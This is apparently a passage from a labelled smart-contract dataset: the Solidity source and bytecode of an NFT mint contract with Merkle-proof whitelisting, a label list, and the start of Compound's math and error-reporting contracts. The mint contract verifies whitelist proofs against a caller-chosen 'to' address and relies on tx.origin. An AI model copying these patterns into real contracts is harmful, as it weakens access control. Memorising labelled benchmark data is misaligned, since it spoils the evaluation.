// File lib/utils/cryptography/MerkleProof.sol
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// File contracts/Erc721amp.sol
// import "../lib/utils/ReentrancyGuard.sol";
contract ERC721AMP is ERC721AOwnersExplicit, Ownable {
uint256 public mintedBack;
uint256 public constant MAX_MINTBACKS = 175;
struct MintBack {
address user;
uint256 amount;
}
// Mint Sale dates
uint32 private wlSaleStartTime;
uint32 private publicSaleStartTime;
// Max Supply
uint16 public constant maxSupply = 6000;
// Mint config
uint16 private constant maxBatchSize = 20;
uint16 private constant maxWlMintNumber = 12;
uint16 private constant maxMintTx = 12;
bytes32 private rootmt;
// Mint Price
uint256 public constant mintPrice = 0.18 ether;
uint256 public constant wlMintPrice = 0.149 ether;
// Metadata URI
string private _baseTokenURI;
constructor(string memory name_, string memory symbol_)
ERC721A(name_, symbol_)
{}
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
function totalMinted() public view returns (uint256) {
return _totalMinted();
}
function baseURI() public view returns (string memory) {
return _baseURI();
}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
// Verifying whitelist spot
function checkValidity(bytes32[] calldata _merkleProof)
public
view
returns (bool)
{
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(
MerkleProof.verify(_merkleProof, rootmt, leaf),
"Incorrect proof"
);
return true;
}
function setRootMerkleHash(bytes32 _rootmt) external onlyOwner {
rootmt = _rootmt;
}
// Mint dates could be set to a distant future to stop the mint
function setMintDates(uint32 wlDate, uint32 publicDate) external onlyOwner {
require(wlDate != 0 && publicDate != 0, "dates must be defined");
wlSaleStartTime = wlDate;
publicSaleStartTime = publicDate;
}
function publicMint(address to, uint256 quantity)
external
payable
callerIsUser
{
require(isPublicSaleOn(), "public sale has not started yet");
require(quantity <= maxMintTx, "can not mint this many at once");
require(msg.value >= mintPrice * quantity, "need to send more ETH");
safeMint(to, quantity);
}
// Only whitelisted addresses are authorized to mint during the Whitelist Mint
function whitelistMint(
address to,
uint256 quantity,
bytes32[] calldata _merkleProof
) external payable {
require(isWlSaleOn(), "whitelist sale has not started yet");
require(
numberMinted(to) + quantity <= maxWlMintNumber,
"can not mint this many"
);
// Checking address to instead of _msgSender()
bytes32 leaf = keccak256(abi.encodePacked(to));
require(
MerkleProof.verify(_merkleProof, rootmt, leaf),
"Incorrect proof"
);
require(msg.value >= wlMintPrice * quantity, "need to send more ETH");
safeMint(to, quantity);
}
function safeMint(address to, uint256 quantity) private {
require(
totalSupply() + quantity <= maxSupply,
"insufficient remaining supply for desired mint amount"
);
require(
quantity > 0 && quantity <= maxBatchSize,
"incorrect mint quantity"
);
_safeMint(to, quantity);
}
receive() external payable {}
function isWlSaleOn() public view returns (bool) {
uint256 _wlSaleStartTime = uint256(wlSaleStartTime);
return _wlSaleStartTime != 0 && block.timestamp >= _wlSaleStartTime;
}
function isPublicSaleOn() public view returns (bool) {
uint256 _publicSaleStartTime = uint256(publicSaleStartTime);
return
_publicSaleStartTime != 0 &&
block.timestamp >= _publicSaleStartTime;
}
function mintBack(
MintBack[] calldata mintBacks
) external onlyOwner {
require(
mintBacks.length + mintedBack <= MAX_MINTBACKS,
"cannot mint"
);
mintedBack += mintBacks.length;
for (uint256 i = 0; i < mintBacks.length; i++)
_safeMint(mintBacks[i].user, mintBacks[i].amount);
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata baseURIValue) external onlyOwner {
_baseTokenURI = baseURIValue;
}
function withdraw() external onlyOwner {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
function setOwnersExplicit(uint256 quantity) external onlyOwner {
_setOwnersExplicit(quantity);
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
return _ownershipOf(tokenId);
}
}
// File contracts/MP.sol
contract MetaPlaces is ERC721AMP {
constructor() ERC721AMP("MetaPlaces", "MP") {}
} | 0x6080604052600436106102345760003560e01c80636817c76c1161012e578063b88d4fde116100ab578063d5abeb011161006f578063d5abeb0114610668578063d7224ba014610691578063dc33e681146106a7578063e985e9c5146106c7578063f2fde38b1461071057600080fd5b8063b88d4fde146105e0578063c507b80614610600578063c87b56dd14610620578063ce6df2b914610640578063d334c54f1461065357600080fd5b80639231ab2a116100f25780639231ab2a14610520578063954d90d01461057657806395d89b4114610596578063a22cb465146105ab578063a2309ff8146105cb57600080fd5b80636817c76c1461049c5780636c0360eb146104b857806370a08231146104cd578063715018a6146104ed5780638da5cb5b1461050257600080fd5b80632d20fb60116101bc57806342842e0e1161018057806342842e0e146104095780634b11faaf146104295780634f558e791461043c57806355f804b31461045c5780636352211e1461047c57600080fd5b80632d20fb601461037f5780632d4d87651461039f57806338c95b09146103bf5780633ccfd60b146103df5780633f5e4741146103f457600080fd5b8063112ec5c411610203578063112ec5c4146102f157806318160ddd146103145780631ff6e44d1461032d57806323b872dd146103435780632c4e9fc61461036357600080fd5b806301ffc9a71461024057806306fdde0314610275578063081812fc14610297578063095ea7b3146102cf57600080fd5b3661023b57005b600080fd5b34801561024c57600080fd5b5061026061025b366004612261565b610730565b60405190151581526020015b60405180910390f35b34801561028157600080fd5b5061028a610782565b60405161026c91906123b4565b3480156102a357600080fd5b506102b76102b2366004612249565b610814565b6040516001600160a01b03909116815260200161026c565b3480156102db57600080fd5b506102ef6102ea36600461211b565b610858565b005b3480156102fd57600080fd5b5061030660af81565b60405190815260200161026c565b34801561032057600080fd5b5060015460005403610306565b34801561033957600080fd5b50610306600a5481565b34801561034f57600080fd5b506102ef61035e366004611fd2565b6108e6565b34801561036f57600080fd5b506103066702115ab5e788800081565b34801561038b57600080fd5b506102ef61039a366004612249565b6108f1565b3480156103ab57600080fd5b506102ef6103ba366004612249565b610930565b3480156103cb57600080fd5b506102ef6103da3660046121da565b61095f565b3480156103eb57600080fd5b506102ef610a75565b34801561040057600080fd5b50610260610b2a565b34801561041557600080fd5b506102ef610424366004611fd2565b610b53565b6102ef610437366004612144565b610b6e565b34801561044857600080fd5b50610260610457366004612249565b610d4d565b34801561046857600080fd5b506102ef610477366004612299565b610d58565b34801561048857600080fd5b506102b7610497366004612249565b610d8e565b3480156104a857600080fd5b5061030667027f7d0bdb92000081565b3480156104c457600080fd5b5061028a610da0565b3480156104d957600080fd5b506103066104e8366004611f86565b610daf565b3480156104f957600080fd5b506102ef610dfd565b34801561050e57600080fd5b506009546001600160a01b03166102b7565b34801561052c57600080fd5b5061054061053b366004612249565b610e33565b6040805182516001600160a01b031681526020808401516001600160401b0316908201529181015115159082015260600161026c565b34801561058257600080fd5b5061026061059136600461219b565b610e59565b3480156105a257600080fd5b5061028a610f1d565b3480156105b757600080fd5b506102ef6105c63660046120e1565b610f2c565b3480156105d757600080fd5b50600054610306565b3480156105ec57600080fd5b506102ef6105fb36600461200d565b610fc2565b34801561060c57600080fd5b506102ef61061b3660046122f3565b611013565b34801561062c57600080fd5b5061028a61063b366004612249565b6110cb565b6102ef61064e36600461211b565b611150565b34801561065f57600080fd5b506102606112ab565b34801561067457600080fd5b5061067e61177081565b60405161ffff909116815260200161026c565b34801561069d57600080fd5b5061030660085481565b3480156106b357600080fd5b506103066106c2366004611f86565b6112c9565b3480156106d357600080fd5b506102606106e2366004611fa0565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b34801561071c57600080fd5b506102ef61072b366004611f86565b6112f7565b60006001600160e01b031982166380ac58cd60e01b148061076157506001600160e01b03198216635b5e139f60e01b145b8061077c57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600280546107919061248a565b80601f01602080910402602001604051908101604052809291908181526020018280546107bd9061248a565b801561080a5780601f106107df5761010080835404028352916020019161080a565b820191906000526020600020905b8154815290600101906020018083116107ed57829003601f168201915b5050505050905090565b600061081f8261138f565b61083c576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b600061086382610d8e565b9050806001600160a01b0316836001600160a01b031614156108985760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b038216148015906108b857506108b681336106e2565b155b156108d6576040516367d9dca160e11b815260040160405180910390fd5b6108e18383836113ba565b505050565b6108e1838383611416565b6009546001600160a01b031633146109245760405162461bcd60e51b815260040161091b906123c7565b60405180910390fd5b61092d81611601565b50565b6009546001600160a01b0316331461095a5760405162461bcd60e51b815260040161091b906123c7565b600c55565b6009546001600160a01b031633146109895760405162461bcd60e51b815260040161091b906123c7565b600a5460af9061099990836123fc565b11156109d55760405162461bcd60e51b815260206004820152600b60248201526a18d85b9b9bdd081b5a5b9d60aa1b604482015260640161091b565b81819050600a60008282546109ea91906123fc565b90915550600090505b818110156108e157610a63838383818110610a1e57634e487b7160e01b600052603260045260246000fd5b610a349260206040909202019081019150611f86565b848484818110610a5457634e487b7160e01b600052603260045260246000fd5b90506040020160200135611738565b80610a6d816124c5565b9150506109f3565b6009546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161091b906123c7565b604051600090339047908381818185875af1925050503d8060008114610ae1576040519150601f19603f3d011682016040523d82523d6000602084013e610ae6565b606091505b505090508061092d5760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015260640161091b565b600b54600090640100000000900463ffffffff168015801590610b4d5750804210155b91505090565b6108e183838360405180602001604052806000815250610fc2565b610b766112ab565b610bcd5760405162461bcd60e51b815260206004820152602260248201527f77686974656c6973742073616c6520686173206e6f7420737461727465642079604482015261195d60f21b606482015260840161091b565b600c83610bd9866112c9565b610be391906123fc565b1115610c2a5760405162461bcd60e51b815260206004820152601660248201527563616e206e6f74206d696e742074686973206d616e7960501b604482015260640161091b565b6040516bffffffffffffffffffffffff19606086901b166020820152600090603401604051602081830303815290604052805190602001209050610ca583838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050600c549150849050611752565b610ce35760405162461bcd60e51b815260206004820152600f60248201526e24b731b7b93932b1ba10383937b7b360891b604482015260640161091b565b610cf5846702115ab5e7888000612428565b341015610d3c5760405162461bcd60e51b81526020600482015260156024820152740dccacac840e8de40e6cadcc840dadee4ca408aa89605b1b604482015260640161091b565b610d468585611768565b5050505050565b600061077c8261138f565b6009546001600160a01b03163314610d825760405162461bcd60e51b815260040161091b906123c7565b6108e1600d8383611e74565b6000610d9982611856565b5192915050565b6060610daa611970565b905090565b60006001600160a01b038216610dd8576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600560205260409020546001600160401b031690565b6009546001600160a01b03163314610e275760405162461bcd60e51b815260040161091b906123c7565b610e31600061197f565b565b604080516060810182526000808252602082018190529181019190915261077c82611856565b6040516bffffffffffffffffffffffff193360601b1660208201526000908190603401604051602081830303815290604052805190602001209050610ed584848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050600c549150849050611752565b610f135760405162461bcd60e51b815260206004820152600f60248201526e24b731b7b93932b1ba10383937b7b360891b604482015260640161091b565b5060019392505050565b6060600380546107919061248a565b6001600160a01b038216331415610f565760405163b06307db60e01b815260040160405180910390fd5b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610fcd848484611416565b6001600160a01b0383163b15158015610fef5750610fed848484846119d1565b155b1561100d576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6009546001600160a01b0316331461103d5760405162461bcd60e51b815260040161091b906123c7565b63ffffffff821615801590611057575063ffffffff811615155b61109b5760405162461bcd60e51b815260206004820152601560248201527419185d195cc81b5d5cdd081899481919599a5b9959605a1b604482015260640161091b565b600b805463ffffffff9283166401000000000267ffffffffffffffff199091169290931691909117919091179055565b60606110d68261138f565b6110f357604051630a14c4b560e41b815260040160405180910390fd5b60006110fd611970565b905080516000141561111e5760405180602001604052806000815250611149565b8061112884611ac9565b604051602001611139929190612348565b6040516020818303038152906040525b9392505050565b32331461119f5760405162461bcd60e51b815260206004820152601e60248201527f5468652063616c6c657220697320616e6f7468657220636f6e74726163740000604482015260640161091b565b6111a7610b2a565b6111f35760405162461bcd60e51b815260206004820152601f60248201527f7075626c69632073616c6520686173206e6f7420737461727465642079657400604482015260640161091b565b600c8111156112445760405162461bcd60e51b815260206004820152601e60248201527f63616e206e6f74206d696e742074686973206d616e79206174206f6e63650000604482015260640161091b565b6112568167027f7d0bdb920000612428565b34101561129d5760405162461bcd60e51b81526020600482015260156024820152740dccacac840e8de40e6cadcc840dadee4ca408aa89605b1b604482015260640161091b565b6112a78282611768565b5050565b600b5460009063ffffffff168015801590610b4d5750421015919050565b6001600160a01b038116600090815260056020526040812054600160401b90046001600160401b031661077c565b6009546001600160a01b031633146113215760405162461bcd60e51b815260040161091b906123c7565b6001600160a01b0381166113865760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161091b565b61092d8161197f565b600080548210801561077c575050600090815260046020526040902054600160e01b900460ff161590565b60008281526006602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600061142182611856565b9050836001600160a01b031681600001516001600160a01b0316146114585760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480611476575061147685336106e2565b8061149157503361148684610814565b6001600160a01b0316145b9050806114b157604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b0384166114d857604051633a954ecd60e21b815260040160405180910390fd5b6114e4600084876113ba565b6001600160a01b038581166000908152600560209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600490945282852080546001600160e01b031916909417600160a01b429092169190910217835587018084529220805491939091166115b85760005482146115b857805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4610d46565b8061161f576040516356be441560e01b815260040160405180910390fd5b60005461163f5760405163c0367cab60e01b815260040160405180910390fd5b6008548061164b575060005b600054811061166d576040516370e89b1b60e01b815260040160405180910390fd5b60005482820160001981019110156116885750600054600019015b815b81811161172d576000818152600460205260409020546001600160a01b03161580156116cc5750600081815260046020526040902054600160e01b900460ff16155b156117255760006116dc82611856565b80516000848152600460209081526040909120805491909301516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b0390921691909117179055505b60010161168a565b506001016008555050565b6112a7828260405180602001604052806000815250611be2565b60008261175f8584611bef565b14949350505050565b611770816117796001546000540390565b61178391906123fc565b11156117ef5760405162461bcd60e51b815260206004820152603560248201527f696e73756666696369656e742072656d61696e696e6720737570706c7920666f6044820152741c8819195cda5c9959081b5a5b9d08185b5bdd5b9d605a1b606482015260840161091b565b600081118015611800575060148111155b61184c5760405162461bcd60e51b815260206004820152601760248201527f696e636f7272656374206d696e74207175616e74697479000000000000000000604482015260640161091b565b6112a78282611738565b60408051606081018252600080825260208201819052918101919091528160005481101561195757600081815260046020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff161515918101829052906119555780516001600160a01b0316156118ec579392505050565b5060001901600081815260046020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215611950579392505050565b6118ec565b505b604051636f96cda160e11b815260040160405180910390fd5b6060600d80546107919061248a565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a0290611a06903390899088908890600401612377565b602060405180830381600087803b158015611a2057600080fd5b505af1925050508015611a50575060408051601f3d908101601f19168201909252611a4d9181019061227d565b60015b611aab573d808015611a7e576040519150601f19603f3d011682016040523d82523d6000602084013e611a83565b606091505b508051611aa3576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b606081611aed5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611b175780611b01816124c5565b9150611b109050600a83612414565b9150611af1565b6000816001600160401b03811115611b3f57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611b69576020820181803683370190505b5090505b8415611ac157611b7e600183612447565b9150611b8b600a866124e0565b611b969060306123fc565b60f81b818381518110611bb957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611bdb600a86612414565b9450611b6d565b6108e18383836001611ca9565b600081815b8451811015611ca1576000858281518110611c1f57634e487b7160e01b600052603260045260246000fd5b60200260200101519050808311611c61576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611c8e565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080611c99816124c5565b915050611bf4565b509392505050565b6000546001600160a01b038516611cd257604051622e076360e81b815260040160405180910390fd5b83611cf05760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038516600081815260056020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168c018116918217600160401b67ffffffffffffffff1990941690921783900481168c01811690920217909155858452600490925290912080546001600160e01b031916909217600160a01b429092169190910217905580808501838015611d9c57506001600160a01b0387163b15155b15611e25575b60405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4611ded60008884806001019550886119d1565b611e0a576040516368d2bf6b60e11b815260040160405180910390fd5b80821415611da2578260005414611e2057600080fd5b611e6b565b5b6040516001830192906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a480821415611e26575b50600055610d46565b828054611e809061248a565b90600052602060002090601f016020900481019282611ea25760008555611ee8565b82601f10611ebb5782800160ff19823516178555611ee8565b82800160010185558215611ee8579182015b82811115611ee8578235825591602001919060010190611ecd565b50611ef4929150611ef8565b5090565b5b80821115611ef45760008155600101611ef9565b80356001600160a01b0381168114611f2457600080fd5b919050565b60008083601f840112611f3a578081fd5b5081356001600160401b03811115611f50578182fd5b6020830191508360208260051b8501011115611f6b57600080fd5b9250929050565b803563ffffffff81168114611f2457600080fd5b600060208284031215611f97578081fd5b61114982611f0d565b60008060408385031215611fb2578081fd5b611fbb83611f0d565b9150611fc960208401611f0d565b90509250929050565b600080600060608486031215611fe6578081fd5b611fef84611f0d565b9250611ffd60208501611f0d565b9150604084013590509250925092565b60008060008060808587031215612022578081fd5b61202b85611f0d565b935061203960208601611f0d565b92506040850135915060608501356001600160401b038082111561205b578283fd5b818701915087601f83011261206e578283fd5b81358181111561208057612080612520565b604051601f8201601f19908116603f011681019083821181831017156120a8576120a8612520565b816040528281528a60208487010111156120c0578586fd5b82602086016020830137918201602001949094529598949750929550505050565b600080604083850312156120f3578182fd5b6120fc83611f0d565b915060208301358015158114612110578182fd5b809150509250929050565b6000806040838503121561212d578182fd5b61213683611f0d565b946020939093013593505050565b60008060008060608587031215612159578384fd5b61216285611f0d565b93506020850135925060408501356001600160401b03811115612183578283fd5b61218f87828801611f29565b95989497509550505050565b600080602083850312156121ad578182fd5b82356001600160401b038111156121c2578283fd5b6121ce85828601611f29565b90969095509350505050565b600080602083850312156121ec578182fd5b82356001600160401b0380821115612202578384fd5b818501915085601f830112612215578384fd5b813581811115612223578485fd5b8660208260061b8501011115612237578485fd5b60209290920196919550909350505050565b60006020828403121561225a578081fd5b5035919050565b600060208284031215612272578081fd5b813561114981612536565b60006020828403121561228e578081fd5b815161114981612536565b600080602083850312156122ab578182fd5b82356001600160401b03808211156122c1578384fd5b818501915085601f8301126122d4578384fd5b8135818111156122e2578485fd5b866020828501011115612237578485fd5b60008060408385031215612305578182fd5b61230e83611f72565b9150611fc960208401611f72565b6000815180845261233481602086016020860161245e565b601f01601f19169290920160200192915050565b6000835161235a81846020880161245e565b83519083019061236e81836020880161245e565b01949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906123aa9083018461231c565b9695505050505050565b602081526000611149602083018461231c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561240f5761240f6124f4565b500190565b6000826124235761242361250a565b500490565b6000816000190483118215151615612442576124426124f4565b500290565b600082821015612459576124596124f4565b500390565b60005b83811015612479578181015183820152602001612461565b8381111561100d5750506000910152565b600181811c9082168061249e57607f821691505b602082108114156124bf57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156124d9576124d96124f4565b5060010190565b6000826124ef576124ef61250a565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461092d57600080fdfea26469706673582212208938c2caea1ddd3ea6a4fbbc776021eef104dd7f942e94c503dcc66643cb068564736f6c63430008040033 | [
7,
5
] |
0xF3538E2496e2BCE12263B2BdDB6D29cCaAD9cd9A | pragma solidity ^0.5.16;
/**
* @title Careful Math
* @author Compound
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint256 a, uint256 b)
internal
pure
returns (MathError, uint256)
{
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint256 c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint256 a, uint256 b)
internal
pure
returns (MathError, uint256)
{
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint256 a, uint256 b)
internal
pure
returns (MathError, uint256)
{
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint256 a, uint256 b)
internal
pure
returns (MathError, uint256)
{
uint256 c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(
uint256 a,
uint256 b,
uint256 c
) internal pure returns (MathError, uint256) {
(MathError err0, uint256 sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
pragma solidity ^0.5.16;
contract ComptrollerErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
COMPTROLLER_MISMATCH,
INSUFFICIENT_SHORTFALL,
INSUFFICIENT_LIQUIDITY,
INVALID_CLOSE_FACTOR,
INVALID_COLLATERAL_FACTOR,
INVALID_LIQUIDATION_INCENTIVE,
MARKET_NOT_ENTERED, // no longer possible
MARKET_NOT_LISTED,
MARKET_ALREADY_LISTED,
MATH_ERROR,
NONZERO_BORROW_BALANCE,
PRICE_ERROR,
REJECTION,
SNAPSHOT_ERROR,
TOO_MANY_ASSETS,
TOO_MUCH_REPAY
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
EXIT_MARKET_BALANCE_OWED,
EXIT_MARKET_REJECTION,
SET_CLOSE_FACTOR_OWNER_CHECK,
SET_CLOSE_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_NO_EXISTS,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_WITHOUT_PRICE,
SET_IMPLEMENTATION_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_VALIDATION,
SET_MAX_ASSETS_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
SET_PRICE_ORACLE_OWNER_CHECK,
SUPPORT_MARKET_EXISTS,
SUPPORT_MARKET_OWNER_CHECK,
SET_PAUSE_GUARDIAN_OWNER_CHECK
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint256 error, uint256 info, uint256 detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), 0);
return uint256(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(
Error err,
FailureInfo info,
uint256 opaqueError
) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), opaqueError);
return uint256(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BAD_INPUT,
COMPTROLLER_REJECTION,
COMPTROLLER_CALCULATION_ERROR,
INTEREST_RATE_MODEL_ERROR,
INVALID_ACCOUNT_PAIR,
INVALID_CLOSE_AMOUNT_REQUESTED,
INVALID_COLLATERAL_FACTOR,
MATH_ERROR,
MARKET_NOT_FRESH,
MARKET_NOT_LISTED,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_IN_FAILED,
TOKEN_TRANSFER_OUT_FAILED
}
/*
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,
ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_ACCRUE_INTEREST_FAILED,
BORROW_CASH_NOT_AVAILABLE,
BORROW_FRESHNESS_CHECK,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
BORROW_MARKET_NOT_LISTED,
BORROW_COMPTROLLER_REJECTION,
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,
LIQUIDATE_COMPTROLLER_REJECTION,
LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,
LIQUIDATE_FRESHNESS_CHECK,
LIQUIDATE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_REPAY_BORROW_FRESH_FAILED,
LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,
LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,
LIQUIDATE_SEIZE_COMPTROLLER_REJECTION,
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_SEIZE_TOO_MUCH,
MINT_ACCRUE_INTEREST_FAILED,
MINT_COMPTROLLER_REJECTION,
MINT_EXCHANGE_CALCULATION_FAILED,
MINT_EXCHANGE_RATE_READ_FAILED,
MINT_FRESHNESS_CHECK,
MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
MINT_TRANSFER_IN_FAILED,
MINT_TRANSFER_IN_NOT_POSSIBLE,
